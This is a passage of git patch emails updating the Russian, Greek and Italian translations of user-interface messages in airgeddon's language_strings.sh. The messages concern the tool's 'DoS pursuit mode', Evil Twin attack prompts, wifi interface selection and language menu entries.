Polski" @@ -1055,7 +1055,7 @@ function language_strings() { arr["FRENCH",58]="${pending_of_translation} 9. Polonais" arr["CATALAN",58]="${pending_of_translation} 9. Polonès" arr["PORTUGUESE",58]="9. Polonês" - arr["RUSSIAN",58]="${pending_of_translation} 9. Πολωνικά" + arr["RUSSIAN",58]="9. Польский" arr["GREEK",58]="${pending_of_translation} 9. Ιταλικά" arr["ITALIAN",58]="${pending_of_translation} 9. Polacco" arr["POLISH",58]="${pending_of_translation} 9. Polski" @@ -5535,7 +5535,7 @@ function language_strings() { arr["FRENCH",506]="${pending_of_translation} L'attaque DoS avec le mode \"mode de poursuite DoS\" activé démarre lorsque vous appuyez sur [Enter] dans cette fenêtre. Pour l'arrêter, vous devez appuyer sur [Ctrl+C] ou fermer la fenêtre d'attaque" arr["CATALAN",506]="L'atac DoS amb el \"mode persecució DoS\" activat començarà quan premeu [Enter] en aquesta finestra. Per aturar-lo haurà de prémer [Ctrl+C] o tancar la finestra de l'atac" arr["PORTUGUESE",506]="O ataque DoS com o \"modo de perseguição\" foi ativo e será iniciado quando você pressionar [Enter] nesta janela. Para parar, você deve pressionar [Ctrl+C] ou fechar a janela do ataque" - arr["RUSSIAN",506]="${pending_of_translation} DoS-атака с включенным \"режим преследования DoS\" включена, когда вы нажмете [Enter] в этом окне. Чтобы остановить его, вы должны нажать [Ctrl+C] или закрыть окно атаки" + arr["RUSSIAN",506]="DoS-атака с включенным \"режимом DoS преследования\" будет запущена когда вы в этом окне нажмёте [Enter]. Для её остановки нажмите [Ctrl+C] или закройте окно атаки" arr["GREEK",506]="${pending_of_translation} Η επίθεση DoS με την ενεργοποιημένη λειτουργία \"DoS λειτουργία αναζήτησης\" ενεργοποιείται όταν πατήσετε [Enter] σε αυτό το παράθυρο. Για να το σταματήσετε πρέπει να πατήσετε [Ctrl+C] ή να κλείσετε το παράθυρο επίθεσης" arr["ITALIAN",506]="${pending_of_translation} L'attacco DoS con la modalità \"modalità DoS persecuzione\" abilitato verrà avviato quando si preme [Enter] in questa finestra. Per fermarlo bisogna premere [Ctrl+C] o chiudere la finestra di attacco" arr["POLISH",506]="${pending_of_translation} Atak DoS z uruchomionym trybem \"tryb pościgowy DoS\" zostanie uruchomiony po naciśnięciu przycisku [Enter] w tym oknie. Aby go zatrzymać, musisz nacisnąć [Ctrl+C] lub zamknąć okno ataku" @@ -5545,7 +5545,7 @@ function language_strings() { arr["FRENCH",507]="${pending_of_translation} Changement de canal détecté. Redémarrage de DoS attaque à nouveau dans \"mode de poursuite DoS\" maintenant sur le canal ${normal_color}${channel}" arr["CATALAN",507]="Canvi de canal detectat. Rellançant de nou l'atac DoS en \"mode persecució DoS\" ara sobre el canal ${normal_color}${channel}" arr["PORTUGUESE",507]="Mudança de canal detectada. Iniciando o ataque DoS novamente em \"modo de perseguição\". Agora no canal: ${normal_color}${channel}" - arr["RUSSIAN",507]="${pending_of_translation} Обнаружено изменение канала. Повторная перезагрузка DoS-атаки в режиме \"режим преследования DoS\" теперь на канале ${normal_color}${channel}" + arr["RUSSIAN",507]="Обнаружено изменение канала. Перезапуск DoS-атаки в \"режиме DoS преследования\" теперь на канале ${normal_color}${channel}" arr["GREEK",507]="${pending_of_translation} Η αλλαγή καναλιού εντοπίστηκε. Επανεκκίνηση και πάλι DoS επίθεση στο \"DoS λειτουργία αναζήτησης\" τώρα στο κανάλι ${normal_color}${channel}" arr["ITALIAN",507]="${pending_of_translation} È stata rilevata la modifica del canale. Riavviare l'attacco DoS nuovamente in modalità \"modalità DoS persecuzione\" ora sul canale ${normal_color}${channel}" arr["POLISH",507]="${pending_of_translation} Wykryto zmianę kanału. Ponowne uruchomienie ataku DoS w trybie \"tryb pościgowy DoS\" na kanale ${normal_color}${channel}" @@ -5555,7 +5555,7 @@ function language_strings() { arr["FRENCH",508]="${pending_of_translation} \"mode de poursuite DoS\" peut être instable pour ce type d'attaque DoS. Si le résultat n'est pas optimal, sélectionnez un autre type d'attaque" arr["CATALAN",508]="El \"mode persecució DoS\" pot ser inestable per a aquest tipus d'atac DoS. Si el resultat no és òptim selecciona un altre tipus d'atac" arr["PORTUGUESE",508]="O ataque DoS com o \"modo de perseguição\" pode ser instável. Se o resultado não for bom, selecione outro tipo de ataque" - arr["RUSSIAN",508]="${pending_of_translation} \"режим преследования DoS\" может быть нестабильной для такого DoS-атаки. Если вы не получаете оптимальный результат, просто выберите другой тип атаки" + arr["RUSSIAN",508]="\"Режим DoS преследования\" может быть нестабильной для такой DoS-атаки. Если вы не получаете приемлемого результата, просто выберите другой тип атаки" arr["GREEK",508]="${pending_of_translation} \"DoS λειτουργία αναζήτησης\" μπορεί να είναι ασταθής για αυτό το είδος DoS επίθεσης. Εάν δεν επιτυγχάνετε το βέλτιστο αποτέλεσμα, επιλέξτε μόνο ένα άλλο είδος επίθεσης" arr["ITALIAN",508]="${pending_of_translation} \"modalità DoS persecuzione\" può essere instabile per questo tipo di attacco DoS. Se il risultato non è ottimale selezionare un altro tipo di attacco" arr["POLISH",508]="${pending_of_translation} \"tryb pościgowy DoS\" może być niestabilny dla tego typu ataków DoS. Jeśli wynik nie jest optymalny, wybierz inny rodzaj ataku" @@ -5565,7 +5565,7 @@ function language_strings() { arr["FRENCH",509]="${pending_of_translation} Si vous souhaitez intégrer le \"mode de poursuite DoS\" dans une attaque Evil Twin, il sera nécessaire d'avoir une autre interface wifi supplémentaire en mode moniteur pour l'effectuer" arr["CATALAN",509]="Si es vol integrar el \"mode persecució DoS\" en un atac Evil Twin, serà necessari tenir una altra interfície wifi addicional en mode monitor per fer-ho" arr["PORTUGUESE",509]="Se você quiser integrar o ataque DoS com o \"modo de perseguição\" em um ataque Evil Twin, será necessário ter uma interface wifi adicional no modo monitor" - arr["RUSSIAN",509]="${pending_of_translation} Если вы хотите интегрировать \"режим преследования DoS\" на атаку Evil Twin, потребуется еще один дополнительный интерфейс wifi в режиме монитора, чтобы выполнить его" + arr["RUSSIAN",509]="Если вы хотите интегрировать \"режим DoS преследования\" на атаку Evil Twin, то для выполнения этого потребуется еще один дополнительный интерфейс wifi в режиме монитора" arr["GREEK",509]="${pending_of_translation} Εάν θέλετε να ενσωματώσετε το \"DoS λειτουργία αναζήτησης\" σε μια επίθεση Evil Twin, μια άλλη πρόσθετη διεπαφή wifi στη λειτουργία παρακολούθησης θα χρειαστεί για να μπορέσει να την εκτελέσει" arr["ITALIAN",509]="${pending_of_translation} Se si desidera integrare la \"modalità DoS persecuzione\" in un attacco Evil Twin, sarà necessario disporre di un'altra interfaccia wifi aggiuntiva in modalità monitor" arr["POLISH",509]="${pending_of_translation} Jeśli chcesz zintegrować \"tryb pościgowy DoS\" w ataku Evil Twin, konieczne będzie posiadanie innego dodatkowego interfejsu wifi w trybie monitorowania, aby go przeprowadzić" @@ -5575,7 +5575,7 @@ function language_strings() { arr["FRENCH",510]="${pending_of_translation} Sur cet écran, vous êtes supposé choisir une autre interface wifi supplémentaire, mais vous n'en avez pas en ce moment" arr["CATALAN",510]="En aquesta pantalla, se suposa que hauries de triar un altre interfície wifi addicional, però no disposes de cap en aquest moment" arr["PORTUGUESE",510]="Nesta tela você deveria escolher uma interface wifi adicional, mas você não tem nenhuma neste momento" - arr["RUSSIAN",510]="${pending_of_translation} На этом экране предполагается, что будет выбран дополнительный интерфейс wifi, но в данный момент у вас нет никого" + arr["RUSSIAN",510]="На этом экране предполагается, что будет выбран дополнительный интерфейс wifi, но в данный момент у вас нет других беспроводных интерфейсов" arr["GREEK",510]="${pending_of_translation} Σε αυτήν την οθόνη, υποτίθεται ότι έχει επιλεγεί μια πρόσθετη διεπαφή wifi, αλλά δεν έχετε κανέναν αυτήν τη στιγμή" arr["ITALIAN",510]="${pending_of_translation} In questa schermata, dovresti scegliere un'altra interfaccia wifi aggiuntiva, ma in questo momento non ne hai" arr["POLISH",510]="${pending_of_translation} Na tym ekranie należy wybrać inny dodatkowy interfejs wifi, ale nie masz go w tym momencie" @@ -5585,7 +5585,7 @@ function language_strings() { arr["FRENCH",511]="${pending_of_translation} Sélectionnez une autre interface sans fil :" arr["CATALAN",511]="Selecciona un altra interfície sense fils :" arr["PORTUGUESE",511]="Selecione outra interface sem fio :" - arr["RUSSIAN",511]="${pending_of_translation} Выберите другой беспроводной интерфейс :" + arr["RUSSIAN",511]="Выберите дополнительный беспроводной интерфейс :" arr["GREEK",511]="${pending_of_translation} Επιλέξτε άλλη ασύρματη διεπαφή :" arr["ITALIAN",511]="${pending_of_translation} Seleziona un'altra interfaccia wireless :" arr["POLISH",511]="${pending_of_translation} Wybierz inny interfejs bezprzewodowy :" @@ -5595,7 +5595,7 @@ function language_strings() { arr["FRENCH",512]="${pending_of_translation} Interface pour \"mode de poursuite DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["CATALAN",512]="Interfície per \"mode persecució DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["PORTUGUESE",512]="Interface para o ataque DoS em \"modo de perseguição\": ${pink_color}${secondary_wifi_interface}${normal_color}" - arr["RUSSIAN",512]="${pending_of_translation} Интерфейс для \"режим преследования DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["RUSSIAN",512]="Интерфейс для \"режима DoS преследования\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["GREEK",512]="${pending_of_translation} διεπαφή για \"режим преследования DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["ITALIAN",512]="${pending_of_translation} Interfaccia per \"modalità DoS persecuzione\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["POLISH",512]="${pending_of_translation} Interfejs dla \"tryb pościgowy DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" @@ -5605,7 +5605,7 @@ function language_strings() { arr["FRENCH",513]="${pending_of_translation} Il va essayer de changer l'interface pour mode moniteur automatiquement" arr["CATALAN",513]="S'intentarà canviar la interfície a mode monitor automàticament" arr["PORTUGUESE",513]="O script tentará mudar a interface para o modo monitor automaticamente" - arr["RUSSIAN",513]="${pending_of_translation} Интерфейс будет пытаться автоматически переключиться в режим мониторинга" + arr["RUSSIAN",513]="Будет сделана автоматическая попытка перевести интерфейс в режим монитора" arr["GREEK",513]="${pending_of_translation} Η διασύνδεση θα δοκιμαστεί να αλλάξει αυτόματα στη λειτουργία παρακολούθησης" arr["ITALIAN",513]="${pending_of_translation} Cercherà di cambiare automaticamente l'interfaccia alla modalità monitor" arr["POLISH",513]="${pending_of_translation} Spowoduje to automatyczną zmianę interfejsu w tryb monitorowania" From 05991364bb5193044a55e708cf1a0736833d9a98 Mon Sep 17 00:00:00 2001 From: xtonousou Date: Sat, 11 Nov 2017 22:02:04 +0200 Subject: [PATCH 52/70] Updated Greek translations --- language_strings.sh | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 89cc03bba..a755b8edf 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20171105 +#Date.........: 20171111 #Bash Version.: 4.2 or later #Set language_strings file version @@ -5526,7 +5526,7 @@ function language_strings() { arr["CATALAN",505]="¿Vols activar el \"mode persecució DoS\"? ${blue_color}Això rellançarà l'atac si l'AP objectiu canvia de canal contrarestant el \"channel hopping\" ${normal_color}${visual_choice}" arr["PORTUGUESE",505]="Você deseja ativar o \"modo de perseguição\"? ${blue_color}Isso irá iniciar o ataque novamente se o alvo mudar de canal, evitando o \"channel hopping\" ${normal_color}${visual_choice}" arr["RUSSIAN",505]="${pending_of_translation} Вы хотите включить \"режим преследования DoS\"? ${blue_color}Это снова запустит атаку, если целевая AP изменит свой канал, противодействуя \"channel hopping\" ${normal_color}${visual_choice}" - arr["GREEK",505]="${pending_of_translation} Θέλετε να ενεργοποιήσετε την \"DoS λειτουργία αναζήτησης\"; ${blue_color}Αυτό θα ξεκινήσει και πάλι την επίθεση, εάν το AP στοχεύσει στην αλλαγή του καναλιού του \"channel hopping\" ${normal_color}${visual_choice}" + arr["GREEK",505]="Θέλετε να ενεργοποιήσετε to \"DoS pursuit mode\"; ${blue_color}Αυτό θα ξεκινήσει πάλι την επίθεση, εάν το σημείο πρόσβασης αλλάξει το κανάλι του \"channel hopping\" ${normal_color}${visual_choice}" arr["ITALIAN",505]="${pending_of_translation} Vuoi attivare la modalità \"modalità DoS persecuzione\"? ${blue_color}Questo riprenderà l'attacco se il target AP cambia i canali contrastando la \"channel hopping\" ${normal_color}${visual_choice}" arr["POLISH",505]="${pending_of_translation} Czy chcesz uaktywnić \"tryb pościgowy DoS\"? ${blue_color}To spowoduje ponowne atakowanie, jeśli docelowy punkt dostępu AP zmieni kanały, zmieniając kanały \"channel hopping\" ${normal_color}${visual_choice}" @@ -5536,7 +5536,7 @@ function language_strings() { arr["CATALAN",506]="L'atac DoS amb el \"mode persecució DoS\" activat començarà quan premeu [Enter] en aquesta finestra. Per aturar-lo haurà de prémer [Ctrl+C] o tancar la finestra de l'atac" arr["PORTUGUESE",506]="O ataque DoS com o \"modo de perseguição\" foi ativo e será iniciado quando você pressionar [Enter] nesta janela. Para parar, você deve pressionar [Ctrl+C] ou fechar a janela do ataque" arr["RUSSIAN",506]="DoS-атака с включенным \"режимом DoS преследования\" будет запущена когда вы в этом окне нажмёте [Enter]. Для её остановки нажмите [Ctrl+C] или закройте окно атаки" - arr["GREEK",506]="${pending_of_translation} Η επίθεση DoS με την ενεργοποιημένη λειτουργία \"DoS λειτουργία αναζήτησης\" ενεργοποιείται όταν πατήσετε [Enter] σε αυτό το παράθυρο. Για να το σταματήσετε πρέπει να πατήσετε [Ctrl+C] ή να κλείσετε το παράθυρο επίθεσης" + arr["GREEK",506]="Η επίθεση DoS με το \"DoS pursuit mode\" ενεργοποιημένο θα ξεκινήσει όταν πατήσετε [Enter] σε αυτό το παράθυρο. Για να το σταματήσετε πρέπει να πατήσετε [Ctrl+C] ή να κλείσετε το παράθυρο" arr["ITALIAN",506]="${pending_of_translation} L'attacco DoS con la modalità \"modalità DoS persecuzione\" abilitato verrà avviato quando si preme [Enter] in questa finestra. Per fermarlo bisogna premere [Ctrl+C] o chiudere la finestra di attacco" arr["POLISH",506]="${pending_of_translation} Atak DoS z uruchomionym trybem \"tryb pościgowy DoS\" zostanie uruchomiony po naciśnięciu przycisku [Enter] w tym oknie. Aby go zatrzymać, musisz nacisnąć [Ctrl+C] lub zamknąć okno ataku" @@ -5546,7 +5546,7 @@ function language_strings() { arr["CATALAN",507]="Canvi de canal detectat. Rellançant de nou l'atac DoS en \"mode persecució DoS\" ara sobre el canal ${normal_color}${channel}" arr["PORTUGUESE",507]="Mudança de canal detectada. Iniciando o ataque DoS novamente em \"modo de perseguição\". Agora no canal: ${normal_color}${channel}" arr["RUSSIAN",507]="Обнаружено изменение канала. Перезапуск DoS-атаки в \"режиме DoS преследования\" теперь на канале ${normal_color}${channel}" - arr["GREEK",507]="${pending_of_translation} Η αλλαγή καναλιού εντοπίστηκε. Επανεκκίνηση και πάλι DoS επίθεση στο \"DoS λειτουργία αναζήτησης\" τώρα στο κανάλι ${normal_color}${channel}" + arr["GREEK",507]="Εντοπίστηκε αλλαγή καναλιού. Γίνεται πάλι επίθεση DoS \"DoS pursuit mode\" στο κανάλι ${normal_color}${channel}" arr["ITALIAN",507]="${pending_of_translation} È stata rilevata la modifica del canale. Riavviare l'attacco DoS nuovamente in modalità \"modalità DoS persecuzione\" ora sul canale ${normal_color}${channel}" arr["POLISH",507]="${pending_of_translation} Wykryto zmianę kanału. Ponowne uruchomienie ataku DoS w trybie \"tryb pościgowy DoS\" na kanale ${normal_color}${channel}" @@ -5556,7 +5556,7 @@ function language_strings() { arr["CATALAN",508]="El \"mode persecució DoS\" pot ser inestable per a aquest tipus d'atac DoS. Si el resultat no és òptim selecciona un altre tipus d'atac" arr["PORTUGUESE",508]="O ataque DoS com o \"modo de perseguição\" pode ser instável. Se o resultado não for bom, selecione outro tipo de ataque" arr["RUSSIAN",508]="\"Режим DoS преследования\" может быть нестабильной для такой DoS-атаки. Если вы не получаете приемлемого результата, просто выберите другой тип атаки" - arr["GREEK",508]="${pending_of_translation} \"DoS λειτουργία αναζήτησης\" μπορεί να είναι ασταθής για αυτό το είδος DoS επίθεσης. Εάν δεν επιτυγχάνετε το βέλτιστο αποτέλεσμα, επιλέξτε μόνο ένα άλλο είδος επίθεσης" + arr["GREEK",508]="Το \"DoS pursuit mode\" μπορεί να είναι ασταθής για αυτό το είδος επίθεσης DoS. Εάν δεν δείτε σωστό αποτέλεσμα, επιλέξτε κάποιο άλλο είδος επίθεσης" arr["ITALIAN",508]="${pending_of_translation} \"modalità DoS persecuzione\" può essere instabile per questo tipo di attacco DoS. Se il risultato non è ottimale selezionare un altro tipo di attacco" arr["POLISH",508]="${pending_of_translation} \"tryb pościgowy DoS\" może być niestabilny dla tego typu ataków DoS. Jeśli wynik nie jest optymalny, wybierz inny rodzaj ataku" @@ -5566,7 +5566,7 @@ function language_strings() { arr["CATALAN",509]="Si es vol integrar el \"mode persecució DoS\" en un atac Evil Twin, serà necessari tenir una altra interfície wifi addicional en mode monitor per fer-ho" arr["PORTUGUESE",509]="Se você quiser integrar o ataque DoS com o \"modo de perseguição\" em um ataque Evil Twin, será necessário ter uma interface wifi adicional no modo monitor" arr["RUSSIAN",509]="Если вы хотите интегрировать \"режим DoS преследования\" на атаку Evil Twin, то для выполнения этого потребуется еще один дополнительный интерфейс wifi в режиме монитора" - arr["GREEK",509]="${pending_of_translation} Εάν θέλετε να ενσωματώσετε το \"DoS λειτουργία αναζήτησης\" σε μια επίθεση Evil Twin, μια άλλη πρόσθετη διεπαφή wifi στη λειτουργία παρακολούθησης θα χρειαστεί για να μπορέσει να την εκτελέσει" + arr["GREEK",509]="Εάν θέλετε να ενσωματώσετε το \"DoS pursuit mode\" σε μια επίθεση Evil Twin, θα χρειαστεί μια επιπλέον διεπαφή wifi σε κατάσταση παρακολούθησης για να εκτελεστεί σωστά" arr["ITALIAN",509]="${pending_of_translation} Se si desidera integrare la \"modalità DoS persecuzione\" in un attacco Evil Twin, sarà necessario disporre di un'altra interfaccia wifi aggiuntiva in modalità monitor" arr["POLISH",509]="${pending_of_translation} Jeśli chcesz zintegrować \"tryb pościgowy DoS\" w ataku Evil Twin, konieczne będzie posiadanie innego dodatkowego interfejsu wifi w trybie monitorowania, aby go przeprowadzić" @@ -5576,7 +5576,7 @@ function language_strings() { arr["CATALAN",510]="En aquesta pantalla, se suposa que hauries de triar un altre interfície wifi addicional, però no disposes de cap en aquest moment" arr["PORTUGUESE",510]="Nesta tela você deveria escolher uma interface wifi adicional, mas você não tem nenhuma neste momento" arr["RUSSIAN",510]="На этом экране предполагается, что будет выбран дополнительный интерфейс wifi, но в данный момент у вас нет других беспроводных интерфейсов" - arr["GREEK",510]="${pending_of_translation} Σε αυτήν την οθόνη, υποτίθεται ότι έχει επιλεγεί μια πρόσθετη διεπαφή wifi, αλλά δεν έχετε κανέναν αυτήν τη στιγμή" + arr["GREEK",510]="Σε αυτήν την οθόνη, υποτίθεται ότι έχει επιλεγεί μια πρόσθετη διεπαφή wifi, αλλά δεν έχετε επιλέξει κάποια αυτήν τη στιγμή" arr["ITALIAN",510]="${pending_of_translation} In questa schermata, dovresti scegliere un'altra interfaccia wifi aggiuntiva, ma in questo momento non ne hai" arr["POLISH",510]="${pending_of_translation} Na tym ekranie należy wybrać inny dodatkowy interfejs wifi, ale nie masz go w tym momencie" @@ -5586,7 +5586,7 @@ function language_strings() { arr["CATALAN",511]="Selecciona un altra interfície sense fils :" arr["PORTUGUESE",511]="Selecione outra interface sem fio :" arr["RUSSIAN",511]="Выберите дополнительный беспроводной интерфейс :" - arr["GREEK",511]="${pending_of_translation} Επιλέξτε άλλη ασύρματη διεπαφή :" + arr["GREEK",511]="Επιλέξτε άλλη μία ασύρματη διεπαφή :" arr["ITALIAN",511]="${pending_of_translation} Seleziona un'altra interfaccia wireless :" arr["POLISH",511]="${pending_of_translation} Wybierz inny interfejs bezprzewodowy :" @@ -5596,7 +5596,7 @@ function language_strings() { arr["CATALAN",512]="Interfície per \"mode persecució DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["PORTUGUESE",512]="Interface para o ataque DoS em \"modo de perseguição\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["RUSSIAN",512]="Интерфейс для \"режима DoS преследования\": ${pink_color}${secondary_wifi_interface}${normal_color}" - arr["GREEK",512]="${pending_of_translation} διεπαφή για \"режим преследования DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["GREEK",512]="Διεπαφή για \"DoS pursuit mode\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["ITALIAN",512]="${pending_of_translation} Interfaccia per \"modalità DoS persecuzione\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["POLISH",512]="${pending_of_translation} Interfejs dla \"tryb pościgowy DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" @@ -5606,7 +5606,7 @@ function language_strings() { arr["CATALAN",513]="S'intentarà canviar la interfície a mode monitor automàticament" arr["PORTUGUESE",513]="O script tentará mudar a interface para o modo monitor automaticamente" arr["RUSSIAN",513]="Будет сделана автоматическая попытка перевести интерфейс в режим монитора" - arr["GREEK",513]="${pending_of_translation} Η διασύνδεση θα δοκιμαστεί να αλλάξει αυτόματα στη λειτουργία παρακολούθησης" + arr["GREEK",513]="Γίνεται απόπειρα αλλαγής κατάστασης διεπαφής σε κατάσταση παρακολούθησης" arr["ITALIAN",513]="${pending_of_translation} Cercherà di cambiare automaticamente l'interfaccia alla modalità monitor" arr["POLISH",513]="${pending_of_translation} Spowoduje to automatyczną zmianę interfejsu w tryb monitorowania" From c2a4bf03b18bb537ad0c60e27fca7f819279151f Mon Sep 17 00:00:00 2001 From: xtonousou Date: Sat, 11 Nov 2017 22:05:44 +0200 Subject: [PATCH 53/70] Updated Greek translations str[57,58] --- language_strings.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index a755b8edf..67b5a0798 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -1046,7 +1046,7 @@ function language_strings() { arr["CATALAN",57]="${pending_of_translation} Idioma canviat a Polonès" arr["PORTUGUESE",57]="Idioma alterado para Polonês" arr["RUSSIAN",57]="Язык изменён на польский" - arr["GREEK",57]="${pending_of_translation} Η γλώσσα άλλαξε στα Πολωνικά" + arr["GREEK",57]="Η γλώσσα άλλαξε στα Πολωνικά" arr["ITALIAN",57]="${pending_of_translation} Lingua cambiata in Polacco" arr["POLISH",57]="${pending_of_translation} Język zmienił się na Polski" @@ -1056,7 +1056,7 @@ function language_strings() { arr["CATALAN",58]="${pending_of_translation} 9. Polonès" arr["PORTUGUESE",58]="9. Polonês" arr["RUSSIAN",58]="9. Польский" - arr["GREEK",58]="${pending_of_translation} 9. Ιταλικά" + arr["GREEK",58]="9. Πολωνικά" arr["ITALIAN",58]="${pending_of_translation} 9. Polacco" arr["POLISH",58]="${pending_of_translation} 9. Polski" From 03a130666c42f165e5834806c70fa21f5e615de3 Mon Sep 17 00:00:00 2001 From: salu90 Date: Sun, 12 Nov 2017 10:30:15 +0100 Subject: [PATCH 54/70] Updated Italian translations --- language_strings.sh | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 67b5a0798..7f2a4e6ee 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -1047,7 +1047,7 @@ function language_strings() { arr["PORTUGUESE",57]="Idioma alterado para Polonês" arr["RUSSIAN",57]="Язык изменён на польский" arr["GREEK",57]="Η γλώσσα άλλαξε στα Πολωνικά" - arr["ITALIAN",57]="${pending_of_translation} Lingua cambiata in Polacco" + arr["ITALIAN",57]="Lingua cambiata a Polacco" arr["POLISH",57]="${pending_of_translation} Język zmienił się na Polski" arr["ENGLISH",58]="9. Polish" @@ -1057,7 +1057,7 @@ function language_strings() { arr["PORTUGUESE",58]="9. Polonês" arr["RUSSIAN",58]="9. Польский" arr["GREEK",58]="9. Πολωνικά" - arr["ITALIAN",58]="${pending_of_translation} 9. Polacco" + arr["ITALIAN",58]="9. Polacco" arr["POLISH",58]="${pending_of_translation} 9. Polski" arr["ENGLISH",59]="11. Return to main menu" @@ -5527,7 +5527,7 @@ function language_strings() { arr["PORTUGUESE",505]="Você deseja ativar o \"modo de perseguição\"? ${blue_color}Isso irá iniciar o ataque novamente se o alvo mudar de canal, evitando o \"channel hopping\" ${normal_color}${visual_choice}" arr["RUSSIAN",505]="${pending_of_translation} Вы хотите включить \"режим преследования DoS\"? ${blue_color}Это снова запустит атаку, если целевая AP изменит свой канал, противодействуя \"channel hopping\" ${normal_color}${visual_choice}" arr["GREEK",505]="Θέλετε να ενεργοποιήσετε to \"DoS pursuit mode\"; ${blue_color}Αυτό θα ξεκινήσει πάλι την επίθεση, εάν το σημείο πρόσβασης αλλάξει το κανάλι του \"channel hopping\" ${normal_color}${visual_choice}" - arr["ITALIAN",505]="${pending_of_translation} Vuoi attivare la modalità \"modalità DoS persecuzione\"? ${blue_color}Questo riprenderà l'attacco se il target AP cambia i canali contrastando la \"channel hopping\" ${normal_color}${visual_choice}" + arr["ITALIAN",505]="Vuoi attivare la modalità \"DoS pursuit mode\"? ${blue_color}Questo riprenderà l'attacco se l'AP obiettivo cambia i canali contrastando il \"channel hopping\" ${normal_color}${visual_choice}" arr["POLISH",505]="${pending_of_translation} Czy chcesz uaktywnić \"tryb pościgowy DoS\"? ${blue_color}To spowoduje ponowne atakowanie, jeśli docelowy punkt dostępu AP zmieni kanały, zmieniając kanały \"channel hopping\" ${normal_color}${visual_choice}" arr["ENGLISH",506]="DoS attack with the \"DoS pursuit mode\" enabled will start when you press [Enter] on this window. To stop it you must press [Ctrl+C] or close attack window" @@ -5537,7 +5537,7 @@ function language_strings() { arr["PORTUGUESE",506]="O ataque DoS com o \"modo de perseguição\" foi ativo e será iniciado quando você pressionar [Enter] nesta janela. Para parar, você deve pressionar [Ctrl+C] ou fechar a janela do ataque" arr["RUSSIAN",506]="DoS-атака с включенным \"режимом DoS преследования\" будет запущена когда вы в этом окне нажмёте [Enter]. Для её остановки нажмите [Ctrl+C] или закройте окно атаки" arr["GREEK",506]="Η επίθεση DoS με το \"DoS pursuit mode\" ενεργοποιημένο θα ξεκινήσει όταν πατήσετε [Enter] σε αυτό το παράθυρο. Για να το σταματήσετε πρέπει να πατήσετε [Ctrl+C] ή να κλείσετε το παράθυρο" - arr["ITALIAN",506]="${pending_of_translation} L'attacco DoS con la modalità \"modalità DoS persecuzione\" abilitato verrà avviato quando si preme [Enter] in questa finestra. Per fermarlo bisogna premere [Ctrl+C] o chiudere la finestra di attacco" + arr["ITALIAN",506]="L'attacco DoS con la modalità \"DoS pursuit mode\" abilitata inizierá quando si preme [Enter] in questa finestra. Per fermarlo bisogna premere [Ctrl+C] o chiudere la finestra di attacco" arr["POLISH",506]="${pending_of_translation} Atak DoS z uruchomionym trybem \"tryb pościgowy DoS\" zostanie uruchomiony po naciśnięciu przycisku [Enter] w tym oknie. Aby go zatrzymać, musisz nacisnąć [Ctrl+C] lub zamknąć okno ataku" arr["ENGLISH",507]="Channel change detected. Relaunching again DoS attack on \"DoS pursuit mode\" now on channel ${normal_color}${channel}" @@ -5547,7 +5547,7 @@ function language_strings() { arr["PORTUGUESE",507]="Mudança de canal detectada. Iniciando o ataque DoS novamente em \"modo de perseguição\". Agora no canal: ${normal_color}${channel}" arr["RUSSIAN",507]="Обнаружено изменение канала. Перезапуск DoS-атаки в \"режиме DoS преследования\" теперь на канале ${normal_color}${channel}" arr["GREEK",507]="Εντοπίστηκε αλλαγή καναλιού. Γίνεται πάλι επίθεση DoS \"DoS pursuit mode\" στο κανάλι ${normal_color}${channel}" - arr["ITALIAN",507]="${pending_of_translation} È stata rilevata la modifica del canale. Riavviare l'attacco DoS nuovamente in modalità \"modalità DoS persecuzione\" ora sul canale ${normal_color}${channel}" + arr["ITALIAN",507]="Cambio di canale rilevato. Riavviare nuovamente l'attacco Dos in modalità \"DoS pursuit mode\" sul canale ${normal_color}${channel}" arr["POLISH",507]="${pending_of_translation} Wykryto zmianę kanału. Ponowne uruchomienie ataku DoS w trybie \"tryb pościgowy DoS\" na kanale ${normal_color}${channel}" arr["ENGLISH",508]="\"DoS pursuit mode\" can be unstable for this kind of DoS attack. If you are not obtaining an optimal result just select another kind of attack" @@ -5557,7 +5557,7 @@ function language_strings() { arr["PORTUGUESE",508]="O ataque DoS com o \"modo de perseguição\" pode ser instável. Se o resultado não for bom, selecione outro tipo de ataque" arr["RUSSIAN",508]="\"Режим DoS преследования\" может быть нестабильной для такой DoS-атаки. Если вы не получаете приемлемого результата, просто выберите другой тип атаки" arr["GREEK",508]="Το \"DoS pursuit mode\" μπορεί να είναι ασταθής για αυτό το είδος επίθεσης DoS. Εάν δεν δείτε σωστό αποτέλεσμα, επιλέξτε κάποιο άλλο είδος επίθεσης" - arr["ITALIAN",508]="${pending_of_translation} \"modalità DoS persecuzione\" può essere instabile per questo tipo di attacco DoS. Se il risultato non è ottimale selezionare un altro tipo di attacco" + arr["ITALIAN",508]="La modalitá \"DoS pursuit mode\" può essere instabile per questo tipo di attacco DoS. Se il risultato non è ottimale selezionare un altro tipo di attacco" arr["POLISH",508]="${pending_of_translation} \"tryb pościgowy DoS\" może być niestabilny dla tego typu ataków DoS. Jeśli wynik nie jest optymalny, wybierz inny rodzaj ataku" arr["ENGLISH",509]="If you want to integrate \"DoS pursuit mode\" on an Evil Twin attack, another additional wifi interface in monitor mode will be needed to be able to perform it" @@ 